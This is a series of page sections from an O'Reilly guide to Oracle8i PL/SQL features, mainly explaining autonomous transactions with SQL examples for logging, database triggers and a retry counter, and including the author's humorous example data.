   patient_id NUMBER,
   name VARCHAR2(100),
   dob DATE,
   doctor_id INTEGER
   );

CREATE TABLE doctor (
   doctor_id NUMBER,
   name VARCHAR2(100)
 );

Now suppose that I want to let a doctor see only her patients when she issues a query against the table. More than that, I don't want to let doctors modify patient records unless they are that doctor's patients. You could achieve much of what is needed through the creation of a set of views, but wouldn't it be grand if you could just let any doctor connect to her schema in Oracle and say:

SELECT * FROM patient;

and see only her patients? In other words, hide all the rules needed to enforce the appropriate privacy and security rules (the policy) so that the policy is transparent to users of the data structures. That's what the fine-grained access control feature does for you!

With Oracle8i 's fine-grained access control, also known as row-level security, you can apply different policies to SELECT, INSERT, UPDATE, and DELETE, and use security policies only where you need them (for example, on salary information). You can also design and enforce more than one policy for a table, and can even construct layers of policies (one policy building on top of an existing policy) to handle complex situations.

1.3.8 Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)

Java is a very powerful language, much more robust in many ways than PL/SQL. Java also offers hundreds of classes that provide clean, easy-to-use application programming interfaces (APIs) to a wide range of functionality.

In Oracle8i, Oracle includes a new product called JServer. JServer consists of the following elements:

  • Oracle's Java Virtual Machine, called Aurora, the supporting runtime environment, and Java class libraries

  • Tight integration with PL/SQL and Oracle relational database management system (RDBMS) functionality

  • An Object Request Broker (the Aurora/ORB) and Enterprise JavaBeans(TM) (EJB)

  • The JServer Accelerator (native compiler); available in the 8.1.6 Enterprise Edition only

The Aurora JVM executes Java methods (also known as Java stored procedures, or JSPs) and classes if they are stored in the database itself. This means that even if you are a full-time Oracle PL/SQL developer, you can take advantage of the wonderful world of Java to build your applications.

Java in the Oracle database is a big topic; Java programming all by itself is an even bigger topic. Complete treatment of either is outside the scope of this book. Chapter 9, focuses on the exciting new feature of Oracle8i that allows a developer to call Java stored procedures from within PL/SQL.

1.3.9 Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)

By the time you get to Chapter 10, you will have learned about a wide range of significant new capabilities in PL/SQL. Yet there is still more! This chapter covers some other features that improve either the performance or usability of PL/SQL in Oracle8i. I'll also review transparent improvements, that is, changes to the language that improve the performance or behavior of your PL/SQL-based applications without necessitating any modifications to your code.

Major topics include the following:

The NOCOPY compiler hint

You can avoid the overhead of copying IN OUT parameter values with this enhancement. When you are working with large collections and records, NOCOPY can have a noticeable impact on program performance.

Calling PL/SQL functions from SQL

Oracle8i offers some big relief for PL/SQL developers when it comes to calling their own functions: you no longer have to use the RESTRICT_REFERENCES pragma! Oracle8i also offers two new keywords, DETERMINISTIC and PARALLEL_ENABLE, to help you integrate your PL/SQL, C, and Java code into all aspects of your database.

SQL99 compliance

Oracle8i adds or expands the TRIM and CAST operators to better support the SQL99 standard.

SQL operations on collections

Oracle8i makes it even easier to integrate PL/SQL (transient) collections into SQL statements.

Previous: 1.2 And Then There's Java | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 2. Choose Your Transaction!
1.2 And Then There's Java | Book Index | 2. Choose Your Transaction!
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] Choose Your Transaction!

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 1.3 New PL/SQL Features Roundup Chapter 2 Next: 2.2 Defining Autonomous Transactions

2. Choose Your Transaction!

Contents:
Transaction Management in PL/SQL
Defining Autonomous Transactions
When to Use Autonomous Transactions
Rules and Restrictions
Examples

One of the more exciting new features of Oracle8i Release 8.1's version of PL/SQL is a capability called autonomous transactions. In this chapter, I'll discuss several ways you can put this feature to use in your application development environment.

2.1 Transaction Management in PL/SQL

PL/SQL is tightly integrated with the Oracle RDBMS; that is, after all, why it is called "PL/SQL" -- procedural language extensions to SQL. When you perform operations in the database, you do so within the context of a transaction, a series of one or more SQL statements that perform a logical unit of work. A transaction can have associated with it a variety of locks on resources (rows of data, program units, etc.). These locks define the context of the transaction; the context also contains the actual data.

To appreciate transactions in Oracle, consider the "ACID" principle: a transaction has atomicity, consistency, isolation, and durability, which are defined as follows:

Atomic

A transaction's changes to a state are atomic: either they all happen or none happens.

Consistent

A transaction is a correct transformation of state. The actions taken as a group do not violate any integrity constraints associated with that state.

Isolated

Even though many transactions may be executing concurrently, from any given transaction's point of view, other transactions appear to have executed before or after its execution.

Durable

Once a transaction completes successfully, the changes to the state are made permanent, and they survive any subsequent failures.

A transaction can either be saved by performing a COMMIT or erased by requesting a ROLLBACK. In either case, the affected locks on resources are released (a ROLLBACK TO might only release some of the locks). The session can then start a new transaction.

Before the release of PL/SQL 8.1, each Oracle session could have at most one active transaction at a given time. In other words, any and all changes made in your session had to be either saved or erased in their entirety. This restriction has long been considered a drawback in the PL/SQL world. Developers have requested the ability to execute and save or cancel certain DML statements (INSERT, UPDATE, DELETE) without affecting the overall session's transaction.

You can now accomplish this goal with the autonomous transaction feature of PL/SQL 8.1. When you define a PL/SQL block (anonymous block, procedure, function, packaged procedure, packaged function, database trigger) as an autonomous transaction, you isolate the DML in that block from the caller's transaction context. That block becomes an independent transaction that is started by another transaction, referred to as the main transaction.

Within the autonomous transaction block, the main transaction is suspended. You perform your SQL operations, commit or roll back those operations, and then resume the main transaction. This flow of transaction control is illustrated in Figure 2.1.

Figure 2.1: Flow of transaction control between main, nested, and autonomous transactions

Previous: 1.3 New PL/SQL Features Roundup | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 2.2 Defining Autonomous Transactions
1.3 New PL/SQL Features Roundup | Book Index | 2.2 Defining Autonomous Transactions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.2 Defining Autonomous Transactions

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

2.2 Defining Autonomous Transactions

There isn't much involved in defining a PL/SQL block as an autonomous transaction. You simply include the following statement in your declaration section:

PRAGMA AUTONOMOUS_TRANSACTION;

The pragma instructs the PL/SQL compiler to establish a PL/SQL block as autonomous or independent. For the purposes of the autonomous transaction, a PL/SQL block can be any of the following:

  • Top-level (but not nested) anonymous PL/SQL blocks

  • Functions and procedures, defined either in a package or as standalone programs

  • Methods (functions and procedures) of a SQL object type

  • Database triggers

You can put the autonomous transaction pragma anywhere in the declaration section of your PL/SQL block. You would probably be best off, however, placing it before any data structure declarations. That way, anyone reading your code will immediately identify the program as an autonomous transaction.

This pragma is the only syntax change made to PL/SQL to support autonomous transactions. COMMIT, ROLLBACK, the DML statements -- all the rest is as it was before. However, these statements have a different scope of impact and visibility (discussed later in this chapter) when executed within an autonomous transaction, and you will have to include a COMMIT or ROLLBACK in your program.

Let's look at a simple example. Suppose you are responsible for building a database to keep track of war criminals for the International Court of Justice. You create a package called wcpkg to keep track of alleged war criminals. One of the programs in the package registers a new criminal. You always want that register program to save its changes, even if the calling program hasn't yet issued a COMMIT. These characters are, after all, fairly slippery and you don't want them to get away.

The package specification holds no surprises; the transaction type is not evident here:

CREATE PACKAGE wcpkg AS
   ...
   PROCEDURE register (
      culprit IN VARCHAR2, event IN VARCHAR2);
END wcpkg;
/

The package body, however, contains that new and wonderful pragma:

CREATE PACKAGE BODY wcpkg AS
   ...
   PROCEDURE register (
      culprit IN VARCHAR2, event IN VARCHAR2)
   IS
      PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      INSERT INTO war_criminal (name, activity)
         VALUES (culprit, event);
      COMMIT;
   END;
END wcpkg;
/

Now when I call wcpkg.register, I am assured that my changes have been duly recorded:

BEGIN
   wcpkg.register ('Kissinger', 'Secret Bombing of Cambodia');

Previous: 2.1 Transaction Management in PL/SQL | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 2.3 When to Use Autonomous Transactions
2.1 Transaction Management in PL/SQL | Book Index | 2.3 When to Use Autonomous Transactions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.3 When to Use Autonomous Transactions

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

2.3 When to Use Autonomous Transactions

Where would you find autonomous transactions useful in your applications? First, let's reinforce the general principle: you will want to define your program module as an autonomous transaction whenever you want to isolate the changes made in that module from the caller's transaction context.

Here are some specific ideas:

Logging mechanism

On the one hand, you need to log an error to your database log table. On the other hand, you need to roll back your core transaction because of the error. And you don't want to roll back over other log entries. What's a person to do? Go autonomous!

Commits and rollbacks in your database triggers

If you define a trigger as an autonomous transaction, then you can commit and/or roll back in that code. Developers have been asking for this capability for a long time.

Retry counter

Suppose that you want to let a user try to get access to a resource N times before an outright rejection; you also want to keep track of attempts between connections to the database. This persistence requires a COMMIT, but one that should remain independent of the transaction.

Software usage meter

You want to keep track of how often a program is called during an application session. This information is not dependent on, and cannot affect, the transaction being processed in the application.

Reusable application components

This usage goes to the heart of the value of autonomous transactions. As we move more thoroughly into the dispersed, multilayered world of the Internet, it becomes ever more important to be able to offer standalone units of work (also known as cartridges) that get their job done without any side effects on the calling environment. Autonomous transactions will play a crucial role in this area.

Before we take a look at how you might use autonomous transactions for these scenarios, let's get a clearer picture about what you can and cannot do with autonomous transactions.

Another Tool in the Toolbox

As Oracle database technology matures and broadens, we can sometimes (often?) feel overwhelmed by all of its features, its opportunities, and its increasing sophistication and complexity. How can we keep up with it all? Well, perhaps we don't have to keep up with it all. Perhaps we can take a different approach: develop a basic familiarity with the latest and greatest stuff.

Recognize this feature or that as just another potential tool you can use to implement your applications. Learn to distill out from the technobabble of daily life the core advantages of a feature. Then, when you encounter a particular requirement, you can evaluate which of all these tools can best be applied to come up with an optimal solution.

Autonomous transactions are not going to be useful or applicable in every one (or even very many) of your programs. The autonomous transaction feature is, however, a very handy new tool in the PL/SQL developer's toolbox. Keep it in mind, and pull it out as needed.

Previous: 2.2 Defining Autonomous Transactions | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 2.4 Rules and Restrictions
2.2 Defining Autonomous Transactions | Book Index | 2.4 Rules and Restrictions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.4 Rules and Restrictions

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

2.4 Rules and Restrictions

While it is certainly very easy to add the autonomous transaction pragma to your code, there are some rules and restrictions on the use of this feature. You can only make a top-level anonymous block an autonomous transaction. This will work:

DECLARE
   PRAGMA AUTONOMOUS_TRANSACTION;
   myempno NUMBER;
BEGIN
   INSERT INTO emp VALUES (myempno, ...);
   COMMIT;
END;
/

whereas this construction:

DECLARE
   myempno NUMBER;
BEGIN
   DECLARE
      PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      INSERT INTO emp VALUES (myempno, ...);
      COMMIT;
   END;
END;
/

results in this error:

PLS-00710: PRAGMA AUTONOMOUS_TRANSACTION cannot be declared here

Just to expand your vision of what is possible, you can now use COMMIT and ROLLBACK inside your database triggers. These actions will not affect the transaction that caused the database trigger to fire, of course. See Section 2.5.2, "Using Autonomous Transactions in a Database Trigger, later in this chapter, for more details on what you can accomplish.

If an autonomous transaction attempts to access a resource held by the main transaction (which has been suspended until the autonomous routine exits), you can cause a deadlock to occur in your program. Here is a simple example to demonstrate the problem. I create a procedure to perform an update, and then call it after having already updated all rows:

/* Filename on companion disk: autondlock.sql*/
CREATE OR REPLACE PROCEDURE
   update_salary (dept_in IN NUMBER)
IS
   PRAGMA AUTONOMOUS_TRANSACTION;

   CURSOR myemps IS
      SELECT empno FROM emp
       WHERE deptno = dept_in
         FOR UPDATE NOWAIT;
BEGIN
   FOR rec IN myemps
   LOOP
      UPDATE emp SET sal = sal * 2
       WHERE empno = rec.empno;
   END LOOP;
   COMMIT;
END;
/

BEGIN
   UPDATE emp SET sal = sal * 2;
   update_salary (10);
END;
/

The results are not pretty:

ERROR at line 1:
ORA-00054: resource busy and acquire with NOWAIT specified

You cannot mark all subprograms in a package (or all methods in an object type) as autonomous with a single PRAGMA declaration. You must indicate autonomous transactions explicitly in each program. For example, the following package specification is invalid:

CREATE PACKAGE warcrimes_pkg
AS
   PRAGMA AUTONOMOUS_TRANSACTION;

   PROCEDURE register (
      culprit IN VARCHAR2, event IN VARCHAR2);
END warcrimes_pkg;
/

One consequence of this rule is that you cannot tell by looking at the package specification which, if any, programs will run as autonomous transactions.

To exit without errors from an autonomous transaction program, you must perform an explicit commit or rollback. If the program (or any program called by it) has transactions pending, the runtime engine will raise an exception -- and then it will roll back those uncommitted transactions.

Suppose, for example, that my job in life is to take over failing companies and make them profitable by firing lots of employees. I would then want to carry around this handy procedure in my software toolbox:

CREATE OR REPLACE PROCEDURE fire_em_all
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   DELETE FROM emp;
END;
/

I want to make the program an autonomous transaction because I don't want anyone to back out the changes when I am not looking. Unfortunately, I forget to explicitly commit. As a result, when I run this procedure, I get the following error:

SQL> exec fire_em_all
*
ERROR at line 1
ORA-06519: active autonomous transaction detected and rolled back

The COMMIT and ROLLBACK statements end the active autonomous transaction; they do not, however, force the termination of the autonomous routine. You can, in fact, have multiple COMMIT and/or ROLLBACK statements inside your autonomous block.

TIP: An autonomous block is one in which autonomous transactions are expected. Zero, one, or more autonomous transactions can be executed within an autonomous block.

You can roll back only to savepoints marked in the current transaction. When you are in an autonomous transaction, therefore, you cannot roll back to a savepoint set in the main transaction. If you try to do so, the runtime engine will raise this exception:

ORA-01086: savepoint 'your savepoint' never established

The TRANSACTIONS parameter in the Oracle initialization file (INIT.ORA) specifies the maximum number of transactions allowed concurrently in a session. If you use autonomous transactions (which run concurrently with the main transaction), you might exceed this number -- and raise an exception -- unless you raise the TRANSACTIONS value. This is the error you will get if you encounter this problem:

ORA-01574: maximum number of concurrent transactions exceeded

The default value for TRANSACTIONS in Oracle8i is 75.

2.4.1 Using Autonomous Transactions from Within SQL

Ever since Oracle 7.3, you have been able to call your own functions from within SQL -- provided that you follow a variety of rules. The main one is this: you are not allowed to update the database. And you certainly can't save or cancel changes from within the function.

With the autonomous transaction feature, however, the picture changes a good deal. An autonomous transaction program never violates the two database-related purity levels, RNDS (reads no database state) and WNDS (writes no database state), even if that program actually does read from or write to the database. How can this be? Because those purity levels or constraints apply to the SQL statement (which, in this case, is the main transaction), yet an autonomous transaction's DML actions never affect the main transaction.

So as long as you define a program to be an autonomous transaction, you can also call it directly or indirectly in a SQL statement. Of course, if your program cannot assert another purity level, such as WNPS (writes no package state), you may be restricted from calling that program in certain parts of the SQL statement, such as the WHERE clause.

As an example, suppose that I want to keep a trace of all the rows that have been touched by a query. I create this table:

/* Filename on companion disk: trcfunc.sf */
CREATE TABLE query_trace (
   table_name VARCHAR2(30),
   rowid_info ROWID,
   queried_by VARCHAR2(30),
   queried_at DATE
   );

I then create this simple function to perform the audit:

CREATE OR REPLACE FUNCTION traceit (
   tab IN VARCHAR2,
   rowid_in IN ROWID)
   RETURN INTEGER
IS
BEGIN
   INSERT INTO query_trace VALUES (tab, rowid_in, USER, SYSDATE);
   RETURN 0;
END;
/

When I try to use this function inside a query, I get the expected error:

SQL> select ename, traceit ('emp', rowid) from emp;
                   *
ERROR at line 1:
ORA-14551: cannot perform a DML operation inside a query

However, if I now transform traceit into an autonomous transaction by adding the pragma (and committing my results before the RETURN statement!), the results are very different. My query works, and the query_trace table is filled:

SQL> SELECT ename, traceit ('emp', ROWID)
  2    FROM emp;
ENAME      TRACEIT('EMP',ROWID)
---------- --------------------
KING                          0
...
MILLER                        0
14 rows selected.
SQL>
SQL> SELECT table_name, rowid_info, queried_by,
  2         TO_CHAR (queried_at, 'HH:MI:SS') queried_at
  3    FROM query_trace;
TABLE_NAME ROWID_INFO         QUERIED_BY QUERIED_AT
---------- ------------------ ---------- ----------
emp        AAADEPAACAAAAg0AAA SCOTT      05:32:54
...
emp        AAADEPAACAAAAg0AAN SCOTT      05:36:50

You have other options when it comes to tracing queries: you can write to the screen with the DBMS_OUTPUT built-in package or send information to a pipe with DBMS_PIPE. Now that autonomous transactions are available, if you do want to send information to a database table (or delete rows or update data, etc.), you can take that route instead, but be sure to analyze carefully the overhead of this approach.

2.4.2 Transaction Visibility

The default behavior of autonomous transactions is that once a COMMIT or ROLLBACK occurs in the autonomous transaction, those changes are visible immediately in the main transaction. But what if you want to hide those changes from the main transaction? You want them saved or erased -- no question about that -- but that information should not be available to the main transaction.

Oracle offers a SET TRANSACTION statement option to achieve this effect.

SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

The default isolation level is READ COMMITTED, which means that as soon as changes are committed, they are visible to the main transaction.

As is usually the case with the SET TRANSACTION statement, you must call it before you initiate your transactions (i.e., issue any SQL statements); in addition, the setting affects your entire session, not just the current program. The following script demonstrates the SERIALIZABLE isolation level at work (the autonserial.sql file will let you run these steps yourself).

First, I create my autonomous transaction procedure:

/* Filename on companion disk: autonserial.sql */
CREATE OR REPLACE PROCEDURE fire_em_all
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   DELETE FROM emp2;
   COMMIT;
END;
/

I run a script that sets the isolation level to SERIALIZABLE, then display the number of rows that appear in the emp2 table at the following times:

  • Before I call fire_em_all

  • After I call fire_em_all but before the main transaction is committed or rolled back

  • After I commit in the main transaction, here is the script I run:

DECLARE
   PROCEDURE showcount (str VARCHAR2) IS
      num INTEGER;
   BEGIN
      SELECT COUNT(*) INTO num FROM emp2;
      DBMS_OUTPUT.PUT_LINE (str || ' ' || num);
   END;
BEGIN
   SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
   showcount ('Before isolated AT delete');
   fire_em_all;
   showcount ('After isolated AT delete');
   COMMIT;
   showcount ('After MT commit');
END;
/

Here is the output from running the script:

Before isolated AT delete 14
After isolated AT delete 14
After MT commit 0

Previous: 2.3 When to Use Autonomous Transactions | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 2.5 Examples
2.3 When to Use Autonomous Transactions | Book Index | 2.5 Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.5 Examples

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

2.5 Examples

This section provides some complete examples of where you might use autonomous transactions in your applications.

2.5.1 Building an Autonomous Logging Mechanism

A very common requirement in applications is to keep a log of errors that occur during transaction processing. The most convenient repository for this log is a database table; with a table, all the information is retained in the database and you can use SQL to retrieve and analyze the log.

One problem with a database table log, however, is that entries in the log become a part of your transaction. If you perform (or have performed to you) a ROLLBACK, you can easily erase your log. How frustrating! Now, it is true that you can get fancy and use savepoints to preserve your log entries while cleaning up your transaction, but that approach is not only fancy, it is complicated. With autonomous transactions, however, logging becomes simpler, more manageable, and less error prone.

Suppose I have a log table defined as follows:

/* Filename on companion disk: log81.pkg */
CREATE TABLE log81tab (
    code INTEGER,
    text VARCHAR2(4000),
    created_on DATE,
    created_by VARCHAR2(100),
    changed_on DATE,
    changed_by VARCHAR2(100),
    machine VARCHAR2(100),
    program VARCHAR2(100)
    );

I can use it to store errors (SQLCODE and SQLERRM) that have occurred, or even use it for non-error-related logging. The machine and program columns record information available from the virtual V$SESSION table, as you will see.

So I have my table. Now, how should I write to my log? Here's what you should not do:

EXCEPTION
   WHEN OTHERS
   THEN
      v_code := SQLCODE;
      v_msg := SQLERRM;
      INSERT INTO log81tab VALUES (
         v_code, v_msg, SYSDATE, USER, SYSDATE, USER, NULL, NULL);
END;

In other words, never expose your underlying logging mechanism by explicitly inserting into it in your exception sections and other locations. Instead, you should build a layer of code around the table (this is known as encapsulation). Why do this? Two reasons:

  • If you ever change your table's structure, all those uses of the log table will not be disrupted.

  • People will be able to use the log table in a much easier, more consistent manner.

So here is my very simple logging package. It consists of two procedures:

CREATE OR REPLACE PACKAGE log81
IS
   PROCEDURE putline (
      code_in IN INTEGER,
      text_in IN VARCHAR2
      );

   PROCEDURE saveline (
      code_in IN INTEGER,
      text_in IN VARCHAR2
      );
END;
/

What is the difference between putline and saveline? The log81.saveline procedure (as you will see in the package body) is an autonomous transaction routine, whereas log81.putline simply performs the insert. Here is the package body:

/* Filename on companion disk: log81.pkg */
CREATE OR REPLACE PACKAGE BODY log81
IS
   CURSOR sess IS
       SELECT MACHINE, PROGRAM
         FROM V$SESSION
        WHERE AUDSID = USERENV('SESSIONID');
   rec sess%ROWTYPE;

   PROCEDURE putline (
      code_in IN INTEGER,
      text_in IN VARCHAR2
      )
   IS
   BEGIN
      INSERT INTO log81tab
           VALUES (
              code_in,
              text_in,
              SYSDATE,
              USER,
              SYSDATE,
              USER,
              rec.machine,
              rec.program
           );
   END;

   PROCEDURE saveline (
      code_in IN INTEGER,
      text_in IN VARCHAR2
      )
   IS
      PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      putline (code_in, text_in);
      COMMIT;
   EXCEPTION WHEN OTHERS THEN ROLLBACK;
   END;
BEGIN
   OPEN sess; FETCH sess INTO rec; CLOSE sess;
END;
/

Here are some comments on this implementation that you might find helpful:

  • I obtain some useful information from V$SESSION when the package is initialized (the values are not going to change during my session, so I should only query it once) and incorporate that into the log.

  • The putline procedure performs the straight insert. You would probably want to add some exception handling to this program if you applied this idea in your production application.

  • The saveline procedure calls the putline procedure (I don't want any redundant code), but does so from within the context of an autonomous transaction.

With this package in place, my error handler shown earlier can be as simple as this:

EXCEPTION
   WHEN OTHERS
   THEN
      log81.saveline (SQLCODE, SQLERRM);
END;

No muss, no fuss; developers don't have to concern themselves with the structure of the log table. They don't even have to know they are writing to a database table. And because I have used an autonomous transaction, they can rest assured that no matter what happens in their application, the log entry has been saved.

2.5.2 Using Autonomous Transactions in a Database Trigger

The grand new benefit of autonomous transactions for database triggers is that inside those triggers you can now issue COMMITs and ROLLBACKs, statements that are otherwise not allowed in database triggers. The changes you commit and roll back will not, however, affect the main transaction that caused the database trigger to fire. They will only apply to DML activity taking place inside the trigger itself (or through stored program units called within the trigger).

Why would this be of value to you? You may want to take an action in the database trigger that is not affected by the ultimate disposition of the transaction that caused the trigger to fire. For example, suppose that you want to keep track of each action against a table, whether or not the action completed. You might even want to be able to detect which actions failed. Let's see how you can use autonomous transactions to do this.

First, let's construct a simple autonomous transaction trigger on the ceo_compensation table that writes a simple message to the following ceo_comp_history table. Here are the two table definitions:

/* Filename on companion disk: autontrigger.sql */
CREATE TABLE ceo_compensation (
   company VARCHAR2(100),
   name VARCHAR2(100),
   compensation NUMBER,
   layoffs NUMBER);
CREATE TABLE ceo_comp_history (
   name VARCHAR2(100),
   description VARCHAR2(255),
   occurred_on DATE);

Here is the before-insert trigger to run all the elements in the script:

CREATE OR REPLACE TRIGGER bef_ins_ceo_comp
BEFORE INSERT ON ceo_compensation FOR EACH ROW
DECLARE
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   INSERT INTO ceo_comp_history VALUES (
      :new.name, 'BEFORE INSERT', SYSDATE);
   COMMIT;
END;
/

With this trigger in place, I can now be certain to track every insert attempt, as shown in the steps below:

BEGIN
   INSERT INTO ceo_compensation VALUES (
      'Mattel', 'Jill Barad', 9100000, 2700);

   INSERT INTO ceo_compensation VALUES (
      'American Express Company',
      'Harvey Golub', 33200000, 3300);

   INSERT INTO ceo_compensation VALUES (
      'Eastman Kodak', 'George Fisher', 10700000, 20100);

   ROLLBACK; --I wish!
END;
/
SELECT name,
       description,
       TO_CHAR (occurred_on,
          'MM/DD/YYYY HH:MI:SS') occurred_on
  FROM ceo_comp_history;
NAME                 DESCRIPTION           OCCURRED_ON
-------------------- --------------------- -------------------
Jill Barad           BEFORE INSERT         03/17/1999 04:00:56
Harvey Golub         BEFORE INSERT         03/17/1999 04:00:56
George Fisher        BEFORE INSERT         03/17/1999 04:00:56

You will find in the autontrigger.sql script all the statements needed to create these objects and run your own test. You can even add your CEO's name to the series of INSERTs if he or she fits the bill.

2.5.2.1 Fine-tuning the database trigger

But there is something of a problem with the trigger I just defined. I defined the trigger as an autonomous transaction because I performed the alert in the body of the trigger. But what if I want to perform some additional DML for the main transaction here in the trigger? It won't be rolled back with the rest of the transaction (if a rollback occurs). That won't do at all, from the perspective of data integrity.

Generally, I would recommend that you not make a database trigger itself the autonomous transaction. Instead, push all of the independent DML activity (such as writing to the audit or history table) into its own procedure. Make that procedure the autonomous transaction. Have the trigger call the procedure.

The autontrigger2.sql script contains the following reworking of the database trigger. First, I create the audit procedure:

/* Filename on companion disk: autontrigger2.sql */
CREATE OR REPLACE PROCEDURE audit_ceo_comp (
   name IN VARCHAR2,
   description IN VARCHAR2,
   occurred_on IN DATE
   )
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   INSERT INTO ceo_comp_history VALUES (
      audit_ceo_comp.name,
      audit_ceo_comp.description,
      audit_ceo_comp.occurred_on
      );
   COMMIT;
END;
/

Then I change the trigger to the following.

CREATE OR REPLACE TRIGGER aft_ins_ceo_comp
AFTER INSERT ON ceo_compensation FOR EACH ROW
DECLARE
   ok BOOLEAN := is_valid_comp_info (:NEW.name);
BEGIN
   IF ok
   THEN
      audit_ceo_comp (
         :new.name, 'AFTER INSERT', SYSDATE);
   ELSE
      RAISE VALUE_ERROR;
   END IF;
END;
/

Note the following differences:

  • The trigger is now an after-insert trigger, rather than a before-insert trigger. I want to wait until after the INSERT to the compensation table takes place. Then I will perform my audit.

  • When the is_valid_comp_info function returns FALSE, I will not even perform an audit. Instead, I will stop the transaction by raising an error. This demonstrates the other reason you don't want the trigger itself to be autonomous. In some situations, I always want to perform my audit. Under other circumstances, however, I may want to stop my main transaction by raising an exception. I can't have both of those events happen if the exception is raised in the same block and transaction as the audit DML.

As you take advantage of the new autonomous transaction pragma, plan out how you will be using these new code elements. You will almost always be better off hiding the details of your new, independent transactions behind a procedural interface.

2.5.3 Building a Retry Counter

Suppose that you want to let a user try to get access to a resource (a file, a row of data, etc.) N times before an outright rejection. You also want to keep track of attempts between connections to the database. The autonomous transaction is a perfect fit, due to the COMMITs required.

You will find a simple prototype of a retry mechanism in the retry.pkg file on the companion disk. This mechanism allows you to specify the "item" on which you are placing a limit and keeping track of attempts. These limits are maintained for each unique username. Here is the specification of this package:

/* Filename on companion disk: retry.pkg */
CREATE OR REPLACE PACKAGE retry
IS
   PROCEDURE incr_attempts (item IN VARCHAR2);

   PROCEDURE set_limit (item IN VARCHAR2, limit IN INTEGER);

   FUNCTION limit (item IN VARCHAR2) RETURN INTEGER;

   FUNCTION limit_reached (item IN VARCHAR2) RETURN BOOLEAN;

   PROCEDURE clear_attempts (item IN VARCHAR2);

   FUNCTION attempts (item IN VARCHAR2) RETURN INTEGER;

   FUNCTION attempts_left (item IN VARCHAR2) RETURN INTEGER;

   FUNCTION attempted_at (item IN VARCHAR2) RETURN DATE;

   PROCEDURE show_retries (item IN VARCHAR2 := '%');
END retry;
/

The programs are self-explanatory; the implementations are also very straightforward. Here, for example, is the implementation of the procedure that lets you increment the number of attempts. Notice the COMMITs and ROLLBACKs; these are required, since I have used the autonomous transaction pragma.

PROCEDURE incr_attempts (item IN VARCHAR2)
IS
   PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
   INSERT INTO retry_counter VALUES (
      USER, incr_attempts.item, SYSDATE, 1);
   COMMIT;
EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      UPDATE retry_counter
         SET last_attempt = SYSDATE,
             tries = tries + 1
       WHERE username = USER
         AND item = incr_attempts.item;
      COMMIT;

   WHEN OTHERS THEN ROLLBACK; RAISE;
END;

Here is a script based on the "three strikes" law in California that exercises the package:

/* Filename on companion disk: retry.tst */
DECLARE
   law_and_order VARCHAR2(20) := 'law_and_order';
   TYPE string_t IS TABLE OF VARCHAR2(50);
   crime string_t := string_t (
      'Steal car at age 14',
      'Caught with a joint at 17',
      'Steal pack of cigarettes at age 42'
      );

BEGIN
   retry.set_limit (law_and_order, 2);

   FOR indx IN crime.FIRST .. crime.LAST
   LOOP
      DBMS_OUTPUT.PUT_LINE (crime(indx));
      IF retry.limit_reached (law_and_order)
      THEN
         DBMS_OUTPUT.PUT_LINE (
            '...Spend rest of life in prison');
      ELSE
         DBMS_OUTPUT.PUT_LINE (
            '...Receive punishment that fits the crime');
         retry.incr_attempts (law_and_order);
      END IF;
   END LOOP;
END;
/

Here is the output in SQL*Plus:

SQL> @retry.tst
Steal car at age 14
...Receive punishment that fits the crime
Caught with a joint at 17
...Receive punishment that fits the crime
Steal pack of cigarettes at age 42
...Spend rest of life in prison
